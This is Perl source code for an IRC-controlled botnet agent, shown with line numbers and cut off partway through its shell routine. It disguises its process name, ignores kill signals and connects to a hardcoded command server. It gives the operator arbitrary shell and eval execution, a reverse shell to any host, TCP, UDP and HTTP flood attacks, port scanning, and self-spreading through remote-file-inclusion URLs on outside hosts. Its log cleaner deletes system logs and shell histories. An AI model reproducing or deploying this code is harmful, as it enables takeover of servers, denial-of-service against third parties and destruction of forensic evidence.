1. use IO::Socket::INET;
  2. use HTTP::Request;
  3. use LWP::UserAgent;
  4.  
  5. my @ps = ("/usr/sbin/httpd","/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[revo]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[httpds]","/usr/sbin/httpd","[bash]");
  6. $processo = $ps[rand scalar @ps];
  7. my $linas_max='10';
  8. my $sleep='3';
  9. my @adms=("cow_revo");
  10. my @canais="#revo";
  11. my @nickname = ("bot-",
  12. "[bot-0]",
  13. "[bot-00]",
  14. "[bot-1]",
  15. "[bot-11]",
  16. "[bot-2]",
  17. "[bot-22]",
  18. "[bot-3]",
  19. "[bot-33]",
  20. "[bot-4]",
  21. "[bot-44]",
  22. "[bot-5]",
  23. "[bot-55]",
  24. "[bot-6]",
  25. "[bot-66]",
  26. "[bot-7]",
  27. "[bot-77]",
  28. "[bot-8]",
  29. "[bot-88]",
  30. "[bot-9]",
  31. "[bot-99]",
  32. "[bot-10]",
  33. "[bot-12]",
  34. "[bot-13]",
  35. "[bot-14]",
  36. "[bot-16]",
  37. "[bot-15]",
  38. "[bot-17]",
  39. "[bot-18]",
  40. "[bot-19]",
  41. "[bot-21]",
  42. "[bot-23]",
  43. "[bot-24]",
  44. "[bot-25]",
  45. "[bot-26]",
  46. "[bot-27]",
  47. "[bot-28]",
  48. "[bot-29]",
  49. "[bot-30]",
  50. "[bot-31]",
  51. "[bot-32]",
  52. "[bot-34]",
  53. "[bot-45]",
  54. "[bot-35]",
  55. "[bot-36]",
  56. "[bot-37]",
  57. "[bot-38]",
  58. "[bot-39]",
  59. "[bot-40]",
  60. "[bot-41]",
  61. "[bot-51]",
  62. "[bot-42]",
  63. "[bot-43]",
  64. "[bot-47]",
  65. "[bot-48]",
  66. "[bot-49]",
  67. "[bot-98]",
  68. "[bot-76]",
  69. "[bot-64]",
  70. "[bot-85]",
  71. "[bot-92]",
  72. "[bot-99]");
  73. my @rname = (LOL);
  74. my $nick = $nickname[rand scalar @nickname];
  75. my $ircname = $nickname[rand scalar @nickname];
  76. my $realname = $rname[rand scalar @rname];
  77. $servidor='scanners.homelinux.net' unless $servidor;
  78. my $porta='7000';
  79.  
  80. $SIG{'INT'} = 'IGNORE';
  81. $SIG{'HUP'} = 'IGNORE';
  82. $SIG{'TERM'} = 'IGNORE';
  83. $SIG{'CHLD'} = 'IGNORE';
  84. $SIG{'PS'} = 'IGNORE';
  85. use IO::Socket;
  86. use Socket;
  87. use IO::Select;
  88. chdir("/");
  89.  
  90. ###########
  91. # Connect #
  92. ###########
  93. $servidor="$ARGV[0]" if $ARGV[0];
  94. $0="$processo"."\0"x16;;
  95. my $pid=fork;
  96. exit if $pid;
  97. die "Fork Problems: $!" unless defined($pid);
  98.  
  99. our %irc_servers;
  100. our %DCC;
  101. my $dcc_sel = new IO::Select->new();
  102. $sel_cliente = IO::Select->new();
  103. sub sendraw {
  104. if ($#_ == '1') {
  105. my $socket = $_[0];
  106. print $socket "$_[1]\n";
  107. } else {
  108. print $IRC_cur_socket "$_[0]\n";
  109. }
  110. }
  111.  
  112. sub conectar {
  113. my $meunick = $_[0];
  114. my $servidor_con = $_[1];
  115. my $porta_con = $_[2];
  116. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  117. PeerPort=>$porta_con) or return(1);
  118. if (defined($IRC_socket)) {
  119. $IRC_cur_socket = $IRC_socket;
  120. $IRC_socket->autoflush(1);
  121. $sel_cliente->add($IRC_socket);
  122. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  123. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  124. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  125. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  126. nick("$meunick");
  127. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  128. sleep 1;
  129. }
  130. }
  131.  
  132. my $line_temp;
  133. while( 1 ) {
  134. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  135. delete($irc_servers{''}) if (defined($irc_servers{''}));
  136. my @ready = $sel_cliente->can_read(0);
  137. next unless(@ready);
  138. foreach $fh (@ready) {
  139. $IRC_cur_socket = $fh;
  140. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  141. $nread = sysread($fh, $msg, 4096);
  142. if ($nread == 0) {
  143. $sel_cliente->remove($fh);
  144. $fh->close;
  145. delete($irc_servers{$fh});
  146. }
  147. @lines = split (/\n/, $msg);
  148. for(my $c=0; $c<= $#lines; $c++) {
  149.  
  150. $line = $lines[$c];
  151. $line=$line_temp.$line if ($line_temp);
  152. $line_temp='';
  153. $line =~ s/\r$//;
  154. unless ($c == $#lines) {
  155. parse("$line");
  156. } else {
  157. if ($#lines == 0) {
  158. parse("$line");
  159. } elsif ($lines[$c] =~ /\r$/) {
  160. parse("$line");
  161. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  162. parse("$line");
  163. } else {
  164. $line_temp = $line;
  165. }
  166. }
  167. }
  168. }
  169. }
  170.  
  171. sub parse {
  172. my $servarg = shift;
  173. if ($servarg =~ /^PING \:(.*)/) {
  174. sendraw("PONG :$1");
  175. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  176. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  177. if ($args =~ /^\001VERSION\001$/) {
  178. notice("$pn", "\001VERSION mIRC v6.17 Mic22\001");
  179. }
  180. if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  181. if ($onde eq "$meunick"){
  182. shell("$pn", "$args");
  183. }
  184.  
  185. ##################
  186. # End of Connect #
  187. ##################
  188. ######################
  189. # PREFIX #
  190. ######################
  191.  
  192. if ($args =~ /^(\Q$meunick\E|\!so)\s+(.*)/ ) {
  193. my $natrix = $1;
  194. my $arg = $2;
  195. if ($arg =~ /^\!(.*)/) {
  196. ircase("$pn","$onde","$1") unless ($natrix eq "!so" and $arg =~ /^\!nick/);
  197. } elsif ($arg =~ /^\@(.*)/) {
  198. $ondep = $onde;
  199. $ondep = $pn if $onde eq $meunick;
  200. bfunc("$ondep","$1");
  201. } else {
  202. shell("$onde", "$arg");
  203. }
  204. }
  205. }
  206. }
  207. ######################
  208. # End of PREFIX #
  209. ######################
  210.  
  211. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  212. if (lc($1) eq lc($meunick)) {
  213. $meunick=$4;
  214. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  215. }
  216. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  217. nick("$meunick".int rand(99));
  218. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  219. $meunick = $2;
  220. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  221. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  222. foreach my $canal (@canais) {
  223. sendraw("JOIN $canal ddosit");
  224. }
  225. }
  226. }
  227.  
  228. sub bfunc {
  229. my $printl = $_[0];
  230. my $funcarg = $_[1];
  231. if (my $pid = fork) {
  232. waitpid($pid, 0);
  233. } else {
  234. if (fork) {
  235. exit;
  236. } else {
  237.  
  238. ######################
  239. # Help #
  240. ######################
  241.  
  242. if ($funcarg =~ /^help/) {
  243. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Lets Go!, Nih depe command :");
  244. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@ddos");
  245. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@scanscan");
  246. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@backconnect");
  247. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@shell");
  248. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@portscanner");
  249. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Untuk command lain, ketik:");
  250. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 7@commands");
  251.  
  252. }
  253.  
  254. if ($funcarg =~ /^ddos/) {
  255. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Ada tiga command DDOS");
  256. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. UDPFlood, HTTPFlood and TCPFlood");
  257. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@udpflood <ip> <packet size> <time>");
  258. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@tcpflood <ip> <port> <packet size> <time>");
  259. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@httpflood <site> <time>");
  260.  
  261. }
  262.  
  263. if ($funcarg =~ /^backconnect/) {
  264. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Gunakan command ini untuk reverse shell :");
  265. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 7@back <ip><port>");
  266. }
  267.  
  268. if ($funcarg =~ /^shell/) {
  269. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Command integrasi bot shell");
  270. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Bisa digunakan untuk privat maupun public channel");
  271. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Untuk public chan gunakan : 12!so cd tmp12 (contoh)");
  272. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Untuk command linux ketik :!so 7@linuxhelp");
  273. }
  274.  
  275. if ($funcarg =~ /^portscanner/) {
  276. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. Ini adalah command portscan dam Nmap:");
  277. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@portscan <ip>");
  278. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@nmap <ip> <beginport> <endport>");
  279. }
  280.  
  281. if ($funcarg =~ /^commands/) {
  282. sendraw($IRC_cur_socket, "PRIVMSG $printl :4.:!:.Help4.:!:. Ini commandnya :");
  283. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@portscan <ip>");
  284. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@nmap <ip> <beginport> <endport>");
  285. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@back <ip><port>");
  286. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so cd tmp 4 untuk contoh");
  287. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@udpflood <ip> <packet size> <time>");
  288. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@tcpflood <ip> <port> <packet size> <time>");
  289. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@httpflood <site> <time>");
  290. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@linuxhelp");
  291. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@spread <scan>");
  292. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@scan <vuln> <dork>");
  293. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@system");
  294. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@logcleaner");
  295. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@sendmail <subject> <sender> <recipient> <message>");
  296. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@milw0rm");
  297. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@join #channel");
  298. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Help12.:!:. !so 12@part #channel");
  299. }
  300.  
  301. if ($funcarg =~ /^linuxhelp/) {
  302. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Dir where you are : pwd");
  303. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Start a Perl file : perl file.pl");
  304. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Go back from dir : cd ..");
  305. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Force to Remove a file/dir : rm -rf file/dir;ls -la");
  306. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Show all files/dir with permissions : ls -lia");
  307. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find config.inc.php files : find / -type f -name config.inc.php");
  308. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find all writable folders and files : find / -perm -2 -ls");
  309. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find all .htpasswd files : find / -type f -name .htpasswd");
  310. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.LinuxHelp12.:!:. - Find all service.pwd files : find / -type f -name service.pwd");
  311. }
  312.  
  313. ######################
  314. # End of Help #
  315. ######################
  316. if ($funcarg =~ /^spread\s+(.*)/) {
  317. my $sbj = "http://munbaekcho.es.kr/gallery/data/log/logger.txt?";
  318. $vuln = $1;
  319. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Spreading bot on :14 $vuln");
  320. my $shellurl="http://".$vuln.$sbj."?";
  321. my $reqz=HTTP::Request->new(GET=>$shellurl);
  322. my $ua=LWP::UserAgent->new();
  323. my $response=$ua->request($reqz);
  324. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Bot is Spreaded on :14 $vuln");
  325. }
  326.  
  327. if ($funcarg =~ /^spreads\s+(.*)/) {
  328. my $soh = "http://www.traviswolff.com/gspreadz.txt?";
  329. $vuln = $1;
  330. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Spreading bot on :14 $vuln");
  331. my $shellurl="http://".$vuln.$soh."?";
  332. my $reqz=HTTP::Request->new(GET=>$shellurl);
  333. my $ua=LWP::UserAgent->new();
  334. my $response=$ua->request($reqz);
  335. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Spread Mode12.:!:. Conficker Bot is Spreaded on :14 $vuln");
  336. }
  337. ######################
  338. # Commands #
  339. ######################
  340.  
  341. if ($funcarg =~ /^system/) {
  342. $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
  343. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Info BOT : Server : 14Cannot View :14 1337");
  344. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Uname -a : 7 $uname");
  345. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Uptime : 7 $uptime");
  346. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Own Prosses : 7 $processo");
  347. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. ID : 7 $id");
  348. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Own Dir : 7 $ownd");
  349. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. OS : 7 $distro");
  350. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Owner : 7 Conficker[aKa]ikhy");
  351. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.System Info12.:!:. Channel : 7 autorun");
  352. }
  353.  
  354. if ($funcarg =~ /^milw0rm/) {
  355. my @ltt=();
  356. my @bug=();
  357. my $x;
  358. my $page="";
  359. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  360. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  361. my @r = <$socke>;
  362. $page="@r";
  363. close($socke);
  364. while ($page =~ m/<title>(.*)</g){
  365. $x = $1;
  366. if ($x =~ /\&lt\;/) {
  367. $x =~ s/\&lt\;/</g;
  368. }
  369. if ($x !~ /milw0rm/) {
  370. push (@bug,$x);
  371. }}
  372. while ($page =~ m/<link.*expl.*([0-9]...)</g) {
  373. if ($1 !~ m/milw0rm.com|exploits|en/){
  374. push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  375. }}
  376. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Milw0rm Bugs12.:!:. gak bekerja, coba kembali :");
  377. foreach $x (0..(@ltt - 1)) {
  378. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Milw0rm Bugs12.:!:.14 $bug[$x] -3 $ltt[$x]");
  379. sleep 1;
  380. }}
  381. ######################
  382. # Portscan #
  383. ######################
  384.  
  385. if ($funcarg =~ /^portscan (.*)/) {
  386. my $hostip="$1";
  387. my
  388. @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  389. my (@aberta, %porta_banner);
  390. sendraw($IRC_cur_socket, "PRIVMSG $printl :(12.:!:.PortScan12.:!:.) 4Loading port scanner.. 12(wait a minute, ok !!)  12".$1." Starting now!! .");
  391. foreach my $porta (@portas) {
  392. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  393. 'tcp', Timeout => 4);
  394. if ($scansock) {
  395. push (@aberta, $porta);
  396. $scansock->close;
  397. }
  398. }
  399.  
  400. if (@aberta) {
  401. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.PortScan12.:!:. 6open ports :5 @aberta");
  402. } else {
  403. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.PortScan12.:!:. 6theres no open port");
  404. }
  405. }
  406.  
  407. ######################
  408. # End of Portscan #
  409. ######################
  410. ######################
  411. # Nmap #
  412. ######################
  413. if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  414. my $hostip="$1";
  415. my $portstart = "$2";
  416. my $portend = "$3";
  417. my (@abertas, %porta_banner);
  418. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. :4 $1 (7.:!:.Port7.:!:.) 12 $2-$3");
  419. foreach my $porta ($portstart..$portend){
  420. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  421. if ($scansock) {
  422. push (@abertas, $porta);
  423. $scansock->close;
  424. if ($xstats){
  425. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. Founded 4 $porta"."/Open");
  426. }
  427. }
  428. }
  429. if (@abertas) {
  430. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. Complete ");
  431. } else {
  432. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Nmap12.:!:. No open ports have been founded 13");
  433. }
  434. }
  435. ######################
  436. # End of Nmap #
  437. ######################
  438. ######################
  439. # Log Cleaner #
  440. ######################
  441. if ($funcarg =~ /^logcleaner/) {
  442. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner!!!12.:!:. it takes a couple of minutes...");
  443. system 'rm -rf /var/log/lastlog';
  444. system 'rm -rf /var/log/wtmp';
  445. system 'rm -rf /etc/wtmp';
  446. system 'rm -rf /var/run/utmp';
  447. system 'rm -rf /etc/utmp';
  448. system 'rm -rf /var/log';
  449. system 'rm -rf /var/logs';
  450. system 'rm -rf /var/adm';
  451. system 'rm -rf /var/apache/log';
  452. system 'rm -rf /var/apache/logs';
  453. system 'rm -rf /usr/local/apache/log';
  454. system 'rm -rf /usr/local/apache/logs';
  455. system 'rm -rf /root/.bash_history';
  456. system 'rm -rf /root/.ksh_history';
  457. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner12.:!:. 4log files have been cleaned");
  458. sleep 1;
  459. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner12.:!:. 4system log cleaner");
  460. system 'find / -name *.bash_history -exec rm -rf {} \;';
  461. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  462. system 'find / -name "log*" -exec rm -rf {} \;';
  463. system 'find / -name *.log -exec rm -rf {} \;';
  464. sleep 1;
  465. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Log Cleaner12.:!:. 4done! all log files have been cleaned");
  466. }
  467. ######################
  468. # End of Log Cleaner #
  469. ######################
  470. ###########################################################
  471. # MAILER #
  472. # For mailing use : #
  473. # !lol @sendmail <subject> <sender> <recipient> <message> #
  474. ###########################################################
  475. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  476. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Mailer12.:!:. Try Sending Mail to :10 $3");
  477. $subject = $1;
  478. $sender = $2;
  479. $recipient = $3;
  480. @corpo = $4;
  481. $mailtype = "content-type: text/html";
  482. $sendmail = '/usr/sbin/sendmail';
  483. open (SENDMAIL, "| $sendmail -t");
  484. print SENDMAIL "$mailtype\n";
  485. print SENDMAIL "Subject: $subject\n";
  486. print SENDMAIL "From: $sender\n";
  487. print SENDMAIL "To: $recipient\n\n";
  488. print SENDMAIL "@corpo\n\n";
  489. close (SENDMAIL);
  490. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Mailer12.:!:. Successfully Sended to :10 $recipient");
  491. }
  492. ######################
  493. # End of MAILER #
  494. ######################
  495. ######################
  496. # Join And Part #
  497. ######################
  498. if ($funcarg =~ /^join (.*)/) {
  499. sendraw($IRC_cur_socket, "JOIN ".$1);
  500. }
  501. if ($funcarg =~ /^part (.*)/) {
  502. sendraw($IRC_cur_socket, "PART ".$1);
  503. }
  504. if($funcarg=~ /^\:$admin!.*\@.*PRIVMSG.*:!out/){
  505. sendraw($IRC_cur_socket, "QUIT");
  506. }
  507.  
  508. ######################
  509. #End of Join And Part#
  510. ######################
  511. ######################
  512. # TCPFlood #
  513. ######################
  514.  
  515. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  516. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.TCP DDoS12.:!:. Haaajjjaaarrr 4 ".$1.":".$2." for 12 ".$3." seconds.");
  517. my $itime = time;
  518. my ($cur_time);
  519. $cur_time = time - $itime;
  520. while ($3>$cur_time){
  521. $cur_time = time - $itime;
  522. &tcpflooder("$1","$2","$3");
  523. }
  524. sendraw($IRC_cur_socket,"PRIVMSG $printl :12.:!:.TCP DDoS12.:!:. Missi Selesai.. 12 ".$1.":".$2.".");
  525. }
  526. ######################
  527. # End of TCPFlood #
  528. ######################
  529. ######################
  530. # Back Connect #
  531. ######################
  532. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  533. my $host = "$1";
  534. my $porta = "$2";
  535. my $proto = getprotobyname('tcp');
  536. my $iaddr = inet_aton($host);
  537. my $paddr = sockaddr_in($porta, $iaddr);
  538. my $shell = "/bin/sh -i";
  539. if ($^O eq "MSWin32") {
  540. $shell = "cmd.exe";
  541. }
  542. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  543. connect(SOCKET, $paddr) or die "connect: $!";
  544. open(STDIN, ">&SOCKET");
  545. open(STDOUT, ">&SOCKET");
  546. open(STDERR, ">&SOCKET");
  547. system("$shell");
  548. close(STDIN);
  549. close(STDOUT);
  550. close(STDERR);
  551. if ($estatisticas)
  552. {
  553. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.BackConnect12.:!:. Connecting to 4 $host:$porta");
  554. }
  555. }
  556. ######################
  557. #End of Back Connect#
  558. ######################
  559. ######################
  560. # HTTPFlood #
  561. # #
  562. ######################
  563. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  564. sendraw($IRC_cur_socket, "PRIVMSG $printl :7.:!:.Http DDoS7.:!:. Haaajjjaaarrr 12 ".$1." on port 80 untuk 4 ".$2." Detik .");
  565. my $itime = time;
  566. my ($cur_time);
  567. $cur_time = time - $itime;
  568. while ($2>$cur_time){
  569. $cur_time = time - $itime;
  570. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  571. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  572. close($socket);
  573. }
  574. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Http DDoS12:!:. Selesai menghajar 4 ".$1.".");
  575. }
  576. ######################
  577. # End of HTTPFlood #
  578. # #
  579. ######################
  580. ######################
  581. # UDPFlood #
  582. # #
  583. ######################
  584. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  585. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Udp DDoS12.:!:. Haaajjjaaarrr12 ".$1." dengan 4 ".$2." Kb Packets untuk 4 ".$3." detik.");
  586. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  587. $dtime = 1 if $dtime == 0;
  588. my %bytes;
  589. $bytes{igmp} = $2 * $pacotes{igmp};
  590. $bytes{icmp} = $2 * $pacotes{icmp};
  591. $bytes{o} = $2 * $pacotes{o};
  592. $bytes{udp} = $2 * $pacotes{udp};
  593. $bytes{tcp} = $2 * $pacotes{tcp};
  594. sendraw($IRC_cur_socket, "PRIVMSG $printl :12.:!:.Udp DDoS12.:!:. Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in12 ".$dtime." seconds to12 ".$1.".");
  595. }
  596. exit;
  597. }
  598. }
  599. ######################
  600. # End of Udpflood #
  601. # #
  602. ######################
  603.  
  604.  
  605. sub ircase {
  606. my ($kem, $printl, $case) = @_;
  607. if ($case =~ /^join (.*)/) {
  608. j("$1");
  609. }
  610. if ($case =~ /^part (.*)/) {
  611. p("$1");
  612. }
  613. if ($case =~ /^rejoin\s+(.*)/) {
  614. my $chan = $1;
  615. if ($chan =~ /^(\d+) (.*)/) {
  616. for (my $ca = 1; $ca <= $1; $ca++ ) {
  617. p("$2");
  618. j("$2");
  619. }
  620. }
  621. else {
  622. p("$chan");
  623. j("$chan");
  624. }
  625. }
  626.  
  627. if ($case =~ /^op/) {
  628. op("$printl", "$kem") if $case eq "op";
  629. my $oarg = substr($case, 3);
  630. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  631. }
  632.  
  633. if ($case =~ /^deop/) {
  634. deop("$printl", "$kem") if $case eq "deop";
  635. my $oarg = substr($case, 5);
  636. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  637. }
  638.  
  639. if ($case =~ /^msg\s+(\S+) (.*)/) {
  640. msg("$1", "$2");
  641. }
  642.  
  643. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  644. for (my $cf = 1; $cf <= $1; $cf++) {
  645. msg("$2", "$3");
  646. }
  647. }
  648.  
  649. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  650. ctcp("$1", "$2");
  651. }
  652.  
  653. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  654. for (my $cf = 1; $cf <= $1; $cf++) {
  655. ctcp("$2", "$3");
  656. }
  657. }
  658.  
  659. if ($case =~ /^nick (.*)/) {
  660. nick("$1");
  661. }
  662.  
  663. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  664. conectar("$2", "$1", 6667);
  665. }
  666.  
  667. if ($case =~ /^raw (.*)/) {
  668. sendraw("$1");
  669. }
  670.  
  671. if ($case =~ /^eval (.*)/) {
  672. eval "$1";
  673. }
  674. }
  675.  
  676. sub shell {
  677. my $printl=$_[0];
  678. my $comando=$_[1];
  679. if ($comando =~ /cd (.*)/) {
  680. chdir("$1") || msg("$printl", "No such file or directory");
  681. return;
  682. }
  683.  
  684. elsif ($pid = fork) {
  685. waitpid($pid, 0);
  686. }
  687. else {
  688. if (fork) {
  689. exit;
  690.  
  691. } else {
  692. my @resp=`$comando 2>&1 3>&1`;
  693. my $c=0;
  694. foreach my $linha (@resp) {
  695. $c++;
  696. chop $linha;
  697. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  698. if ($c == "$linas_max") {
  699. $c=0;
